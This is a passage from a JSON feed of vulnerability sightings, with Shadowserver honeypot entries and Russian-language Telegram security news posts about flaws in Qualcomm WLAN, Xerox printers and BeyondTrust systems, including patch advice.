\u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 uvc_parse_format(). \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u0441\u0431\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\nCVE-2024-45569: \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 WLAN \u043e\u0442 Qualcomm \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.8. \u041e\u043d\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u043a\u0430\u0434\u0440\u043e\u0432, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Google Pixel \u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0434\u0435\u0441\u044c\n\n\n\u0412\u0441\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u043d\u0430\u0441\u044b\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438! \u041e\u0441\u0442\u0430\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u0441 \u043d\u0430\u043c\u0438. \u0412 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u043b\u044f \u0432\u0430\u0441 \u0431\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430!\n\n#news", "creation_timestamp": "2026-08-06T00:01:00.277209Z"}, {"uuid": "10f417d8-65bd-494a-a022-c47c5bc18253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-16)", "content": "", "creation_timestamp": "2026-06-16T00:00:00.000000Z"}, {"uuid": "75fda42a-a636-4098-b95c-81250bde7307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-16)", "content": "", "creation_timestamp": "2026-06-16T00:00:00.000000Z"}, {"uuid": "70b5bd4a-e912-4872-96d9-18eba20974ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-17)", "content": "", "creation_timestamp": "2026-06-17T00:00:00.000000Z"}, {"uuid": "33a9cfa7-4efe-4968-a07e-5f1d2ec4a620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-17)", "content": "", "creation_timestamp": "2026-06-17T00:00:00.000000Z"}, {"uuid": "c48be485-9a67-49f1-be1e-55a5b161c6e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-18)", "content": "", "creation_timestamp": "2026-06-18T00:00:00.000000Z"}, {"uuid": "0b62f67d-0c2b-4887-83e8-43245abacffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\n\n\ud83d\udda8 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Xerox VersaLink C7025, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0431\u0435 \u0431\u0440\u0435\u0448\u0438 \u0434\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 LDAP, SMB \u0438\u043b\u0438 FTP.\n\n\u26a1\ufe0f \u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12510) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u0442\u043e\u0440\u0430\u044f (CVE-2024-12511) \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u043e\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\ud83d\udee1 Xerox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Service Pack 57.75.53 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n#Xerox #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b\n\n@ZerodayAlert", "creation_timestamp": "2026-08-06T04:00:04.192681Z"}, {"uuid": "ddc442d8-6136-411e-8e81-4929c967709f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/ZerodayAlert/428", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u041c\u0438\u043d\u0444\u0438\u043d\u0430\n\n\ud83d\udea8 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Silk Typhoon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u0435 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2024-12356 \u0438 CVE-2024-12686) \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 BeyondTrust. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PostgreSQL (CVE-2025-1094), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\ud83c\udfaf \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u041c\u0438\u043d\u0444\u0438\u043d\u0430: \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c (CFIUS) \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC). \u0425\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0433\u043e\u0442\u043e\u0432\u044f\u0449\u0438\u0445\u0441\u044f \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u0445 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445.\n\n\u26a1\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 BeyondTrust \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0440\u0435\u0448\u0438 \u0432 PostgreSQL. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a.\n\n#\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #Postgres #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-08-06T04:00:04.103597Z"}, {"uuid": "c76ffbfa-9876-44f5-89e0-ba236604118f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://t.me/ZerodayAlert/428", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u041c\u0438\u043d\u0444\u0438\u043d\u0430\n\n\ud83d\udea8 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Silk Typhoon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u0435 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2024-12356 \u0438 CVE-2024-12686) \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 BeyondTrust. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PostgreSQL (CVE-2025-1094), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\ud83c\udfaf \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u041c\u0438\u043d\u0444\u0438\u043d\u0430: \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c (CFIUS) \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC). \u0425\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0433\u043e\u0442\u043e\u0432\u044f\u0449\u0438\u0445\u0441\u044f \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u0445 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445.\n\n\u26a1\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 BeyondTrust \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0440\u0435\u0448\u0438 \u0432 PostgreSQL. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a.\n\n#\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #Postgres #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-08-06T04:00:04.141421Z"}, {"uuid": "2842e301-977d-4ae3-bde7-684b33b54f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\n\n\ud83d\udda8 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Xerox VersaLink C7025, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0431\u0435 \u0431\u0440\u0435\u0448\u0438 \u0434\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 LDAP, SMB \u0438\u043b\u0438 FTP.\n\n\u26a1\ufe0f \u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12510) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u0442\u043e\u0440\u0430\u044f (CVE-2024-12511) \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u043e\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\ud83d\udee1 Xerox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 